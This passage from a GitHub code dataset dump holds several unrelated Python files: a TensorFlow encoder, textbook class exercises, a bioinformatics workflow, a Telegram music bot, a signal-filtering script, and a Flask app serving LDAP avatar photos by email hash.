基于注意力机制的文本匹配/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1492,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"82"}
+{"seq_id":"70483084748","text":"# encoder.py: Encoder network\n#\n# (C) 2019, Daniel Mouritzen\n\nimport functools\nfrom typing import Iterable, Mapping, Optional, Type, Union, cast\n\nimport gin\nimport tensorflow as tf\n\nfrom project.util.tf import auto_shape\n\n\n@gin.configurable(whitelist=['activation', 'batch_norm'])\nclass Encoder(auto_shape.Layer):\n \"\"\"Encoder with architecture from World Models (D. Ha and J. Schmidhuber)\"\"\"\n def __init__(self,\n image_input: str = 'image',\n vector_inputs: Optional[Iterable[str]] = None,\n activation: Union[None, str, Type[tf.keras.layers.Layer]] = auto_shape.ReLU,\n batch_norm: bool = False,\n name: str = 'image_encoder') -> None:\n super().__init__(name=name)\n self._image_input = image_input\n self._vector_inputs = [] if vector_inputs is None else list(vector_inputs)\n kwargs = dict(kernel_size=4, strides=2)\n filter_counts = [32, 64, 128, 256]\n layers = []\n for i, filters in enumerate(filter_counts):\n layers.append(auto_shape.Conv2D(filters=filters, **kwargs, name=f'{name}_conv_{i}'))\n if activation is not None:\n if isinstance(activation, str):\n activation = cast(Type[tf.keras.layers.Layer], functools.partial(auto_shape.Activation, activation))\n layers.append(activation(name=f'{name}_activation_{i}'))\n if batch_norm:\n layers.append(auto_shape.BatchNormalization())\n layers.append(auto_shape.Flatten(name=f'{name}_flatten'))\n self._image_enc = auto_shape.Sequential(layers, name=f'{name}_sequential')\n self._concat = auto_shape.Concatenate(axis=-1)\n\n def call(self, inputs: Mapping[str, tf.Tensor]) -> tf.Tensor:\n vectors = [inputs[key] for key in self._vector_inputs]\n return self._concat([self._image_enc(inputs[self._image_input])] + vectors)\n","repo_name":"danmou/MerCur-Re","sub_path":"project/networks/encoder.py","file_name":"encoder.py","file_ext":"py","file_size_in_byte":1927,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"82"}
+{"seq_id":"37771395084","text":"\nclass Solution:\n def isAnagram(self, s: str, t: str) -> bool:\n # if len(s) != len(t):\n # return False\n # hashmap = dict()\n # for i in s:\n # if i not in hashmap.keys():\n # hashmap[i] = 1\n # else:\n # hashmap[i] = hashmap[i] + 1\n # for j in t:\n # if j not in hashmap.keys():\n # return False\n # if hashmap[j] == 0:\n # return False\n # hashmap[j] -= 1\n # return True\n # if tuple(sorted(s)) == tuple(sorted(t)):\n # return True\n # return False\n if len(s) != len(t):\n return False\n ss= [0]*26\n tt= [0]*26\n for i in range(len(s)):\n ss[ord(s[i])-ord('a')] += 1\n tt[ord(t[i])-ord('a')] += 1\n if tuple(ss) == tuple(tt):\n return True\n return False\n\n\n\n#%%\na = \" adsd\"\n# for i in range(len(a)):\nfor i in a:\n print(i)\n# %%\na = dict()\na['1'] = [2]\na['2'] = [4,5]\n# a.get('1',0)\nlist(a.values())\na['1'].append(3)\na['1']\n# %%\na=[1,2,3]\ni = 1\n# a.index(2,0,1)\n# a.index(2,2,3)\na.append(4)\na\n# %%\na = set()\na.add(1)\na.add(2)\nlist(a)\n# %%\nimport collections\ncollections.defaultdict(list)\n# %%\ntuple([0] * 26)\n# %%\nord(\"a\")\n# %%\na='abbcca'\nsorted(a)\n# %%\nimport collections\na=collections.defaultdict(int)\na[0] += 1\na[0]\n# %%\n\nsorted([1,5,3])\n# %%\n","repo_name":"AbigailCY/neetcode150","sub_path":"242.py","file_name":"242.py","file_ext":"py","file_size_in_byte":1402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"14615557756","text":"#9-1\nclass Restaurant: \n \"\"\"Create Class for a Mexican restaurant called Wapos.\"\"\"\n def __init__(self, restaurant_name, cuisine_type):\n \"\"\"initialize name and type attributes\"\"\"\n self.restaurant_name = restaurant_name\n self.cuisine_type = cuisine_type\n def describe_restaurant(self):\n \"\"\"Print the two attributes\"\"\"\n print(f\"{self.restaurant_name.title()} serves {self.cuisine_type.title()} food\")\n def open_restaurant(self):\n \"\"\"Declare that the restaurant is open\"\"\"\n print(f\"{self.restaurant_name.title()} is now open\")\nrestaurant = Restaurant('wapos', 'mexican')\nrestaurant.describe_restaurant()\nrestaurant.open_restaurant()\n\n#9-2\n#Create three separate instances and call describe restaurant for each \nbirdhouse = Restaurant('birdhouse', 'ramen')\nlucilles = Restaurant('lucilles', 'cajun')\necho = Restaurant('echo', 'italian')\n\nbirdhouse.describe_restaurant()\nlucilles.describe_restaurant()\necho.describe_restaurant()\n\n#9-3\nclass User:\n \"\"\"Create user class with several user categories\"\"\"\n def __init__(self, first_name, last_name, user_name, user_type,):\n \"\"\"Initialize user attributes\"\"\"\n self.first_name = first_name\n self.last_name = last_name\n self.user_name = user_name\n self.user_type = user_type\n\n def describe_user(self):\n \"\"\"User summary response to command\"\"\"\n print(f\"{self.first_name.title()} {self.last_name.title()} is a {self.user_type.title()} level user that will appear in the system as {self.user_name}.\")\n def greet_user(self):\n \"\"\"Greeting to user\"\"\"\n print(f\"Hello, {self.first_name.title()} {self.last_name.title()}! Welcome to the system. Your username is {self.user_name} and your access level is {self.user_type.title()}.\")\n#Create several instances for different users and print both messages\nallen = User('allen', 'murner', 'amurner', 'entry')\nmiles = User('miles', 'miglia', 'mmiglia', 'intermediate')\nlex = User('lex', 'tucky', 'ltucky', 'master')\n\nallen.describe_user()\nallen.greet_user()\nmiles.describe_user()\nmiles.greet_user()\nlex.describe_user()\nlex.greet_user()\n\n#9-4\nclass Restaurant: \n \"\"\"Create Class for a Mexican restaurant called Wapos.\"\"\"\n def __init__(self, restaurant_name, cuisine_type):\n \"\"\"initialize name and type attributes\"\"\"\n self.restaurant_name = restaurant_name\n self.cuisine_type = cuisine_type\n self.number_served = 0\n def describe_restaurant(self):\n \"\"\"Print the two attributes\"\"\"\n print(f\"{self.restaurant_name.title()} serves {self.cuisine_type.title()} food\")\n def open_restaurant(self):\n \"\"\"Declare that the restaurant is open\"\"\"\n print(f\"{self.restaurant_name.title()} is now open\")\n def set_number_served(self):\n \"\"\"\"attribute counting the number of served patrons\"\"\"\n print(f\"There has been {self.number_served} customers served.\")\n def update_number_served(self, customers):\n \"\"\"set the number of customers served to a given value\"\"\"\n self.number_served = customers\n def increment_number_served(self, customer):\n \"\"\"Add the given amount to the number of customers served\"\"\"\n self.number_served += customer\n\nrestaurant = Restaurant('wapos', 'mexican')\nrestaurant.describe_restaurant()\nrestaurant.open_restaurant()\nrestaurant.update_number_served(16)\nrestaurant.set_number_served()\nrestaurant.increment_number_served(62)\nrestaurant.set_number_served() \n\n#9-5 Adding attibute login_attempts, method called increment_login_attempts, method reset_login_attempts, printing login attempts\nclass User:\n \"\"\"Create user class with several user categories\"\"\"\n def __init__(self, first_name, last_name, user_name, user_type, login_attempts,):\n \"\"\"Initialize user attributes\"\"\"\n self.first_name = first_name\n self.last_name = last_name\n self.user_name = user_name\n self.user_type = user_type\n self.login_attempts = 0\n\n def describe_user(self):\n \"\"\"User summary response to command\"\"\"\n print(f\"{self.first_name.title()} {self.last_name.title()} is a {self.user_type.title()} level user that will appear in the system as {self.user_name}.\")\n def greet_user(self):\n \"\"\"Greeting to user\"\"\"\n print(f\"Hello, {self.first_name.title()} {self.last_name.title()}! Welcome to the system. Your username is {self.user_name} and your access level is {self.user_type.title()}.\")\n def increment_login_attempts(self, logins):\n \"\"\"increment value of login_attempts by 1\"\"\"\n self.login_attempts += logins\n def reset_login_attempts(self):\n \"\"\"resets login_attempts to 0\"\"\"\n self.login_attempts = 0\n#Create several instances for different users and print both messages\nallen = User('allen', 'murner', 'amurner', 'entry', '0')\nmiles = User('miles', 'miglia', 'mmiglia', 'intermediate', '0')\nlex = User('lex', 'tucky', 'ltucky', 'master', '0')\n\nallen.describe_user()\nallen.greet_user()\nmiles.describe_user()\nmiles.greet_user()\nlex.describe_user()\nlex.greet_user()\n\n#make instance of user class and call increment_login_attempts(). Show that it is incrementing correctly, then call reset to 0, show that is has reset. \nallen.increment_login_attempts(1)\nallen.login_attempts\nallen.increment_login_attempts(1)\nallen.login_attempts\nallen.increment_login_attempts(1)\nallen.login_attempts\nprint(f\"Allen has attempted to login {allen.login_attempts} times.\")\nallen.reset_login_attempts()\nallen.login_attempts\nprint(f\"Allen has now attempted to login {allen.login_attempts} times.\")\n\n#9-6 Inherit class from Restaurant above. \nclass IceCreamStand(Restaurant):\n \"\"\"New class, adding flavors as an attribute\"\"\"\n def __init__(self, restaurant_name, cuisine_type):\n \"\"\"initial parent class attributes\"\"\"\n super().__init__(restaurant_name, cuisine_type)\n self.flavors = ['vanilla', 'butterscotch', 'strawberry', 'chocolate']\n def list_flavors(self):\n \"\"\"Print a statement stating the available ice cream flavors\"\"\"\n print(f\"We have the following ice cream flavors: {self.flavors}.\")\n#create instance and call method to list ice cream flavors\nshow_flavors = IceCreamStand('wapos', 'mexican')\nshow_flavors.list_flavors()\n\n#9-7\nclass Admin(User):\n \"\"\"Admin account intaking User class settings, with additional changes unique to Admin users\"\"\"\n def __init__(self, first_name, last_name, user_name, user_type, login_attempts):\n \"\"\"Initialize User attributes and adding Admin attributes\"\"\"\n super().__init__(first_name, last_name, user_name, user_type, login_attempts)\n#add below instance for 9-8\n self.privileges = Privileges()\n#(originally in 9-7, changed for 9-8) self.privileges = ['can add post', 'can delete post', 'can ban user']\n#(originally in 9-7, changed for 9-8) def show_privileges(self):\n#(originally in 9-7, changed for 9-8) \"\"\"Print out list of privileges for Admin users\"\"\"\n#(originally in 9-7, changed for 9-8) print(f\"As an admin user, you are able to do the following actions: {self.privileges}.\")\n#(originally in 9-7, changed for 9-8)admin_privileges = Admin('cody', 'baggins', 'cbaggins', 'admin', '1')\n#(originally in 9-7, changed for 9-8)admin_privileges.show_privileges()\n\n#9-8\nclass Privileges:\n \"\"\"Privileges class with only one attribute\"\"\"\n def __init__(self, privileges = ['can add post', 'can delete post', 'can ban user']):\n \"\"\"list privileges\"\"\"\n self.privileges = privileges\n def show_privileges(self):\n \"\"\"Print out list of privileges for Admin users\"\"\"\n print(f\"As an admin user, you are able to do the following actions: {self.privileges}.\")\nadmin_privileges = Admin('cody', 'baggins', 'cbaggins','admin', '1')\nadmin_privileges.privileges.show_privileges()\n\n#9-9\nclass Car():\n \"\"\"A simple attempt to represent a car.\"\"\"\n\n def __init__(self, manufacturer, model, year):\n \"\"\"Initialize attributes to describe a car.\"\"\"\n self.manufacturer = manufacturer\n self.model = model\n self.year = year\n self.odometer_reading = 0\n \n def get_descriptive_name(self):\n \"\"\"Return a neatly formatted descriptive name.\"\"\"\n long_name = str(self.year) + ' ' + self.manufacturer + ' ' + self.model\n return long_name.title()\n \n def read_odometer(self):\n \"\"\"Print a statement showing the car's mileage.\"\"\"\n print(\"This car has \" + str(self.odometer_reading) + \" miles on it.\")\n \n def update_odometer(self, mileage):\n \"\"\"\n Set the odometer reading to the given value.\n Reject the change if it attempts to roll the odometer back.\n \"\"\"\n if mileage >= self.odometer_reading:\n self.odometer_reading = mileage\n else:\n print(\"You can't roll back an odometer!\")\n \n def increment_odometer(self, miles):\n \"\"\"Add the given amount to the odometer reading.\"\"\"\n self.odometer_reading += miles\n\nclass Battery():\n \"\"\"A simple attempt to model a battery for an electric car.\"\"\"\n\n def __init__(self, battery_size=60):\n \"\"\"Initialize the batteery's attributes.\"\"\"\n self.battery_size = battery_size\n\n def describe_battery(self):\n \"\"\"Print a statement describing the battery size.\"\"\"\n print(\"This car has a \" + str(self.battery_size) + \"-kWh battery.\")\n\n \n def get_range(self):\n \"\"\"Print a statement about the range this battery provides.\"\"\"\n if self.battery_size == 60:\n range = 140\n elif self.battery_size == 85:\n range = 185\n \n message = \"This car can go approximately \" + str(range)\n message += \" miles on a full charge.\"\n print(message)\n\n#9-10 Importing the Restaurant class into that program file. Saved as restaurant.py\n\n\n def upgrade_battery(self):\n \"\"\"Upgrade the battery if possible.\"\"\"\n if self.battery_size == 60:\n self.battery_size = 85\n print(\"Upgraded the battery to 85 kWh.\")\n else:\n print(\"The battery is already upgraded.\")\n \n \nclass ElectricCar(Car):\n \"\"\"Models aspects of a car, specific to electric vehicles.\"\"\"\n\n def __init__(self, manufacturer, model, year):\n \"\"\"\n Initialize attributes of the parent class.\n Then initialize attributes specific to an electric car.\n \"\"\"\n super().__init__(manufacturer, model, year)\n self.battery = Battery()\n\n\nprint(\"Make an electric car, and check the battery:\")\nmy_tesla = ElectricCar('tesla', 'model s', 2016)\nmy_tesla.battery.describe_battery()\n\nprint(\"\\nUpgrade the battery, and check it again:\")\nmy_tesla.battery.upgrade_battery()\nmy_tesla.battery.describe_battery()\n\nprint(\"\\nTry upgrading the battery a second time.\")\nmy_tesla.battery.upgrade_battery()\nmy_tesla.battery.describe_battery()\n\n#9-10 work is done in Restaurant.py\n\n#9-11 work is done in 9_11_tiy.py\n\n#9-12 work is done in multiple 9_12 files\n\n#9-13\nfrom random import randint\nclass Die:\n \"\"\"Features related to a standard 6 sided die\"\"\"\n def __init__(self, sides = 6):\n \"\"\"initialize die attributes\"\"\"\n self.sides = sides\n def roll_die(self):\n \"\"\"method to roll a random die side number\"\"\"\n return randint (1,self.sides)\nside6 = Die() \nresults = []\nfor roll_num in range(10):\n result = side6.roll_die()\n results.append(result)\nprint(\"10 rolls of a 6-sided die:\")\nprint(results)\n\n#Make the die 10 sided, roll 10 times\nside6 = Die(sides=10) \nresults = []\nfor roll_num in range(10):\n result = side6.roll_die()\n results.append(result)\nprint(\"10 rolls of a 10-sided die:\")\nprint(results)\n\n#make the die 20 sided, roll 10 times\nside6 = Die(sides = 20) \nresults = []\nfor roll_num in range(10):\n result = side6.roll_die()\n results.append(result)\nprint(\"10 rolls of a 20-sided die:\")\nprint(results)\n\n#9-14\nfrom random import choice\nlotto_list = ['3', '16', '20', '23', '29', '37', '42', '48', '55', '67', 'A', 'G', 'N', 'Q', 'Y']\ndigit_one = choice(lotto_list)\ndigit_two = choice(lotto_list)\ndigit_three = choice(lotto_list)\ndigit_four = choice(lotto_list)\nprint(f\"The winning lottery ticket has the following figures: {digit_one}, {digit_two}, {digit_three}, and {digit_four}.\")\n\n\n# 9-15\nfrom random import choice\n\ndef get_winning_ticket(possibilities):\n \"\"\"Return a winning ticket from a set of possibilities.\"\"\"\n winning_ticket = []\n\n # We don't want to repeat winning numbers or letters, so we'll use a\n # while loop.\n while len(winning_ticket) < 4:\n pulled_item = choice(possibilities)\n\n # Only add the pulled item to the winning ticket if it hasn't\n # already been pulled.\n if pulled_item not in winning_ticket:\n winning_ticket.append(pulled_item)\n\n return winning_ticket\n\ndef check_ticket(played_ticket, winning_ticket):\n # Check all elements in the played ticket. If any are not in the \n # winning ticket, return False.\n for element in played_ticket:\n if element not in winning_ticket:\n return False\n\n # We must have a winning ticket!\n return True\n\ndef make_random_ticket(possibilities):\n \"\"\"Return a random ticket from a set of possibilities.\"\"\"\n ticket = []\n # We don't want to repeat numbers or letters, so we'll use a while loop.\n while len(ticket) < 4:\n pulled_item = choice(possibilities)\n\n # Only add the pulled item to the ticket if it hasn't already\n # been pulled.\n if pulled_item not in ticket:\n ticket.append(pulled_item)\n\n return ticket\n\n\npossibilities = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 'a', 'b', 'c', 'd', 'e']\nwinning_ticket = get_winning_ticket(possibilities)\n\nplays = 0\nwon = False\n\n# Let's set a max number of tries, in case this takes forever!\nmax_tries = 1_000_000\n\nwhile not won:\n new_ticket = make_random_ticket(possibilities)\n won = check_ticket(new_ticket, winning_ticket)\n plays += 1\n if plays >= max_tries:\n break\n\nif won:\n print(\"We have a winning ticket!\")\n print(f\"Your ticket: {new_ticket}\")\n print(f\"Winning ticket: {winning_ticket}\")\n print(f\"It only took {plays} tries to win!\")\nelse:\n print(f\"Tried {plays} times, without pulling a winner. :(\")\n print(f\"Your ticket: {new_ticket}\")\n print(f\"Winning ticket: {winning_ticket}\")","repo_name":"bwengerDU/python_crash_course","sub_path":"chapter_exercises/Chapter9/Ch9_TIY.py","file_name":"Ch9_TIY.py","file_ext":"py","file_size_in_byte":14368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"40606714185","text":"# -*- coding: utf-8 -*-\n# __author__ = 'zhaobinbin'\n# modified 20200416\n\nimport os\nimport re\nimport math\nimport time\nfrom biocluster.workflow import Workflow\nfrom biocluster.core.exceptions import OptionError\n\n\nclass BarBreakWorkflow(Workflow):\n \"\"\"\n 相关性小工具工作流\n \"\"\"\n def __init__(self, wsheet_object):\n self._sheet = wsheet_object\n super(BarBreakWorkflow, self).__init__(wsheet_object)\n options = [\n {\"name\": \"bar_table\", \"type\": \"infile\", \"format\": \"tool_lab.simple\"},\n {\"name\": \"set_group\", \"type\": \"string\", \"default\": True},\n {\"name\": \"ishape\", \"type\": \"string\", \"default\": \"sd\"},\n {\"name\": \"group_table\", \"type\": \"infile\", \"format\": \"tool_lab.simple\"},\n {\"name\": \"low_point\", \"type\": \"float\"}, # 下断点值\n {\"name\": \"high_point\", \"type\": \"float\"}, # 上断点值\n {\"name\": \"main_id\", \"type\": \"string\"},\n {'name': \"update_info\", 'type': 'string'},\n ]\n self.add_option(options)\n self.revise_infiles()\n self.set_options(self._sheet.options())\n self.bar_break = self.add_tool(\"tool_lab.bar_break\")\n\n def check_options(self):\n if not self.option(\"bar_table\"):\n raise OptionError(\"必须输入snp_table文件\")\n if not self.option(\"low_point\"):\n raise OptionError(\"必须输入下断点值\")\n if not self.option(\"high_point\"):\n raise OptionError(\"必须输入上断点值\")\n if not self.option(\"ishape\"):\n raise OptionError(\"必须输入ishape取值\")\n if not self.option(\"set_group\"):\n raise OptionError(\"必须输入set_group取值\")\n\n def run_bar_break(self):\n options = {\n \"bar_table\": self.option('bar_table'),\n \"group_table\": self.option('group_table'),\n \"low_point\": self.option('low_point'),\n 'high_point': self.option('high_point'),\n \"main_id\": self.option('main_id'),\n \"ishape\":self.option('ishape'),\n }\n self.bar_break.set_options(options)\n self.bar_break.on(\"end\", self.set_output, \"bar_break\")\n self.bar_break.run()\n\n def set_output(self, event):\n obj = event['bind_object']\n if event['data'] == 'bar_break':\n self.linkdir(obj.output_dir, 'bar_break')\n\n def linkdir(self, dirpath, dirname):\n allfiles = os.listdir(dirpath)\n newdir = os.path.join(self.output_dir, dirname)\n if not os.path.exists(newdir):\n os.mkdir(newdir)\n oldfiles = [os.path.join(dirpath, i) for i in allfiles]\n newfiles = [os.path.join(newdir, i) for i in allfiles]\n for newfile in newfiles:\n if os.path.exists(newfile):\n if os.path.isfile(newfile):\n os.remove(newfile)\n else:\n os.system('rm -r %s' % newfile)\n # self.logger.info('rm -r %s' % newfile)\n for i in range(len(allfiles)):\n if os.path.isfile(oldfiles[i]):\n os.link(oldfiles[i], newfiles[i])\n elif os.path.isdir(oldfiles[i]):\n # self.logger.info('cp -r %s %s' % (oldfiles[i], newdir))\n os.system('cp -r %s %s' % (oldfiles[i], newdir))\n time.sleep(1)\n self.end()\n\n def run(self):\n self.run_bar_break()\n super(BarBreakWorkflow, self).run()\n\n def end(self):\n result_dir = self.add_upload_dir(self.output_dir)\n result_dir.add_relpath_rules([\n [\".\", \"\", \"结果输出目录\"],\n ])\n result_dir.add_regexp_rules([\n [\"\", \"\", \"\"]\n ])\n super(BarBreakWorkflow, self).end()\n","repo_name":"bensonlew/rnawl","sub_path":"src/mbio/workflows/tool_lab/bar_break.py","file_name":"bar_break.py","file_ext":"py","file_size_in_byte":3733,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"82"}
+{"seq_id":"17586799772","text":"from aiogram import types\nfrom aiogram.dispatcher import FSMContext\nfrom aiogram.types import ReplyKeyboardMarkup, KeyboardButton\nfrom states import MusicState\nfrom loader import dp\nfrom utils.misc.throttling import rate_limit\n\n\n@dp.message_handler(text=\"Выход\", state=MusicState.get_back_menu)\nasync def stop_cast_playlist(message: types.Message, state: FSMContext):\n await state.finish()\n await message.answer(text=f\"Ты вышел \\nДля просмотра доступных команд используй /help \\nИли \\\"/\\\" в чат\")\n\n\n@dp.message_handler(commands=['music'], state=\"*\")\n@rate_limit(limit=5, key='music')\nasync def music(message: types.Message):\n spotify = KeyboardButton(\"Spotify\")\n vk = KeyboardButton(\"VK\")\n playlists_markup = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True).add(\n spotify).add(vk)\n await message.answer('На какой платформе будем слушать?',\n reply_markup=playlists_markup, )\n await MusicState.choose_music_platform.set() #\n\n\n@dp.message_handler(state=MusicState.get_back_menu)\nasync def music(message: types.Message):\n spotify = KeyboardButton(\"Spotify\")\n vk = KeyboardButton(\"VK\")\n playlists_markup = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True).add(\n spotify).add(vk)\n await message.answer('На какой платформе будем слушать?',\n reply_markup=playlists_markup, )\n await MusicState.choose_music_platform.set() # задано состояние выбора платформы(состояние 1)\n\n\n@dp.message_handler(state=MusicState.choose_music_platform)\n# вместо текста или команды фильтром выступает параметр state,\n# определяющий в каком состоянии находится пользователь\nasync def bot_message(message: types.Message):\n spoti_plotniy_playlist = KeyboardButton('ПЛОТНЫЙ РЭП')\n spoti_witch_house = KeyboardButton('ViVoDDn3#2')\n vk_morgen_album = KeyboardButton('MORGENSHTERN - MILLION DOLLAR: HAPPINESS')\n spoti_playlists_markup = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True).add(\n spoti_plotniy_playlist).add(spoti_witch_house)\n vk_playlists_markup = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True).add(\n vk_morgen_album)\n if message.text == 'Spotify':\n await message.answer(\"Вот все доступные плейлисты в спотифай\",\n reply_markup=spoti_playlists_markup)\n if message.text == 'VK':\n await message.answer(\"Вот все доступные плейлисты VK\",\n reply_markup=vk_playlists_markup)\n await MusicState.choose_music_album.set() # установка состояния выхода в меню выбора(состояние 2)\n\n\n@dp.message_handler(state=MusicState.choose_music_album)\nasync def choose_music(message: types.Message):\n get_back_button = KeyboardButton('Вернуться к выбору плейлиста')\n exit_button = KeyboardButton('Выход')\n exit_menu = ReplyKeyboardMarkup(resize_keyboard=True, one_time_keyboard=True).add(\n get_back_button).add(exit_button)\n if message.text == 'ПЛОТНЫЙ РЭП':\n await message.answer(\"https://open.spotify.com/playlist/5BQemH4tSKWnOeUjOGGCJW\",\n reply_markup=exit_menu)\n if message.text == 'VivoDDn3#2':\n await message.answer(\"https://open.spotify.com/playlist/2U9iYP0tAtDM8j5Zm3Eiv0?si=301482f1b4d54e85\",\n reply_markup=exit_menu)\n if message.text == 'MORGENSHTERN - MILLION DOLLAR: HAPPINESS':\n await message.answer(\"https://vk.com/music/album/-2000517727_11517727_acba018a8ba0af12f6\",\n reply_markup=exit_menu)\n await MusicState.get_back_menu.set()","repo_name":"formorter/tBot","sub_path":"handlers/users/music.py","file_name":"music.py","file_ext":"py","file_size_in_byte":4002,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"23165867840","text":"import numpy as np\nimport scipy\nimport matplotlib.pyplot as plt\n\n# 读取数据\n# data = np.hstack((t,xs,r_observe,xs_ckf1,xs_ckf3))\ndata=np.loadtxt('.\\data\\calculte_result_2.txt')\na_test=1e-2\n\nt = data[:,0]\nxs = data[:,1:7]\nr_observe = data[:,7:10]\nxs_ckf = data[:,10:22]\nxs_rts = data[:,22:34]\n\nx1 = xs_rts[1000:-1,6]\nn = 3 # 滤波器阶数\ncut_off = 2*1e-3 # 截止频率\nb, a = scipy.signal.butter(n, cut_off, 'low')\nx1_filtered = scipy.signal.filtfilt(b, a, x1)\n\nx2 = xs_rts[:,6]\nn = 3 # 滤波器阶数\ncut_off = 2*1e-3 # 截止频率\nb, a = scipy.signal.butter(n, cut_off, 'low')\nx2_filtered = scipy.signal.filtfilt(b, a, x2)\n\na_x=np.zeros(len(t))\nfor i in range(len(t)):\n v_norm=np.linalg.norm(xs[i,3:6])\n a_x[i]=a_test*xs[i,3]/v_norm\n\n# 绘制结果\nplt.figure()\nplt.plot(t, x2, label='Before')\nplt.plot(t, x2_filtered, label='After2')\nplt.plot(t, a_x, label='Track')\nplt.legend()\nplt.show()\n\n# 绘制结果\nplt.figure()\nplt.plot(t[1000:-1], x1, label='Before')\nplt.plot(t[1000:-1], x1_filtered, label='After')\n# plt.plot(t[1000:-1], x2_filtered[1000:-1], label='After2')\nplt.plot(t[1000:-1], a_x[1000:-1], label='Track')\nplt.xlabel('t(s)')\nplt.ylabel('ax(m/s^2)')\nplt.legend()\nplt.show()\n\n# # 绘制结果\n# plt.figure()\n# plt.plot(t[1000:-1], x[1000:-1], label='Before')\n# plt.plot(t[1000:-1], x_filtered[1000:-1], label='After')\n# plt.plot(t[1000:-1], a_x[1000:-1], label='Track')\n# plt.legend()\n# plt.show()\n\ndebug = 1","repo_name":"LeanWu/myKF","sub_path":"result_fft.py","file_name":"result_fft.py","file_ext":"py","file_size_in_byte":1442,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
+{"seq_id":"33683816262","text":"import hashlib\nimport ssl\nimport io\nimport os\nimport distutils.util\nimport urllib3.request\nfrom typing import List\nfrom PIL import Image\n\nfrom flask import Flask, make_response, abort, redirect, request\nfrom flask_ldapconn import LDAPConn\nfrom flask_apscheduler import APScheduler\n\n\nclass Config:\n LDAP_SERVER = os.environ.get('LDAP_SERVER')\n LDAP_PORT = int(os.environ.get('LDAP_PORT', default=389))\n LDAP_BINDDN = os.environ.get('LDAP_BINDDN', default=None)\n LDAP_SECRET = os.environ.get('LDAP_BINDPW', default=None)\n LDAP_USE_SSL = bool(distutils.util.strtobool(os.environ.get('LDAP_SSL', default='False')))\n LDAP_USE_TLS = bool(distutils.util.strtobool(os.environ.get('LDAP_TLS', default='True')))\n LDAP_SEARCH_BASE = os.environ.get('LDAP_SEARCH_BASE')\n LDAP_CONNECT_TIMEOUT = 10 # Honored when the TCP connection is being established\n LDAP_READ_ONLY = True\n LDAP_TLS_VERSION = ssl.PROTOCOL_TLSv1_2\n FORCE_ATTRIBUTE_VALUE_AS_LIST = True\n CALCULATE_HASHES_DELAY = int(os.environ.get('CALCULATE_HASHES_DELAY', default=600))\n SCHEDULER_API_ENABLED = True\n MAX_SIZE = 2048\n\n\nldap = LDAPConn()\n\n\nclass User(ldap.Entry):\n base_dn = Config.LDAP_SEARCH_BASE\n object_classes = ['inetOrgPerson']\n\n emails: List[str] = ldap.Attribute('mail')\n photo: List[bytes] = ldap.Attribute('jpegPhoto')\n\n\ndef create_app():\n app = Flask(__name__)\n app.config.from_object(Config)\n\n # TODO: use sqlite/redis/memcached\n mail_hashes_md5 = dict()\n mail_hashes_sha256 = dict()\n\n scheduler = APScheduler()\n\n ldap.init_app(app)\n scheduler.init_app(app)\n\n @app.get(\"/avatar/\")\n def get_photo(mail_hash):\n mail = None\n\n if mail_hash in mail_hashes_md5:\n mail = mail_hashes_md5.get(mail_hash)\n elif mail_hash in mail_hashes_sha256:\n mail = mail_hashes_sha256.get(mail_hash)\n\n s = None\n if 's' in request.args:\n s = request.args.get('s', type=int, default=80)\n if 'size' in request.args:\n s = request.args.get('size', type=int, default=80)\n\n if not s:\n size = 80\n elif s < 1:\n size = 80\n elif s > Config.MAX_SIZE:\n size = Config.MAX_SIZE\n else:\n size = s\n\n # default action\n d = None # default\n if 'd' in request.args:\n d = request.args.get('d', type=str)\n if 'default' in request.args:\n d = request.args.get('default', type=str)\n\n # force\n f = None # default\n if 'f' in request.args:\n f = request.args.get('f', type=str)\n\n if mail and not f:\n user: User = User.query.filter(\"mail:{}\".format(mail)).first()\n if user and len(user.photo) > 0:\n photo = user.photo[0]\n if photo and len(photo) > 0:\n pil_photo: Image.Image = Image.open(io.BytesIO(photo))\n pil_photo = make_square(pil_photo)\n pil_photo = pil_photo.resize((size, size), Image.ANTIALIAS)\n photo_new = io.BytesIO()\n pil_photo.save(photo_new, format='PNG')\n # TODO: store photo in cache\n response = make_response(photo_new.getvalue())\n response.headers.set('Content-Type', 'image/png')\n return response\n\n # if no image was found, but a default action is given\n if d == '404':\n return abort(404)\n\n param_dict = dict()\n if d:\n param_dict['d'] = d\n if f:\n param_dict['f'] = f\n if s:\n param_dict['s'] = s\n\n url = \"https://cdn.libravatar.org/avatar/{}\".format(mail_hash)\n\n params = urllib3.request.urlencode(param_dict)\n if params:\n url += \"?{}\".format(params)\n\n return redirect(url, 302)\n\n @scheduler.task('interval', seconds=Config.CALCULATE_HASHES_DELAY)\n def calculate_hashes():\n print(\"calculating hashes of known mail addresses\")\n\n with app.app_context():\n\n users = User.query.all()\n for index, user in enumerate(users):\n email_addresses = []\n\n for email in user.emails:\n email.strip().lower()\n if email not in email_addresses:\n email_addresses.append(email)\n\n for email in email_addresses:\n email_md5 = hashlib.md5(email.encode('ascii')).hexdigest()\n email_sha256 = hashlib.sha256(email.encode('ascii')).hexdigest()\n\n mail_hashes_md5[email_md5] = email\n mail_hashes_md5[email_sha256] = email\n\n calculate_hashes()\n scheduler.start()\n\n return app\n\n\n# copied from https://stackoverflow.com/a/44231784 and adapted\ndef make_square(im: Image.Image, fill_color=(0, 0, 0, 0)) -> Image.Image:\n x, y = im.size\n size = min(x, y)\n new_im = Image.new('RGBA', (size, size), fill_color)\n new_im.paste(im, (int((size - x) / 2), int((size - y) / 2)))\n return new_im\n","repo_name":"jasperroloff/libravatar-ldap-jpegphoto","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5118,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"}
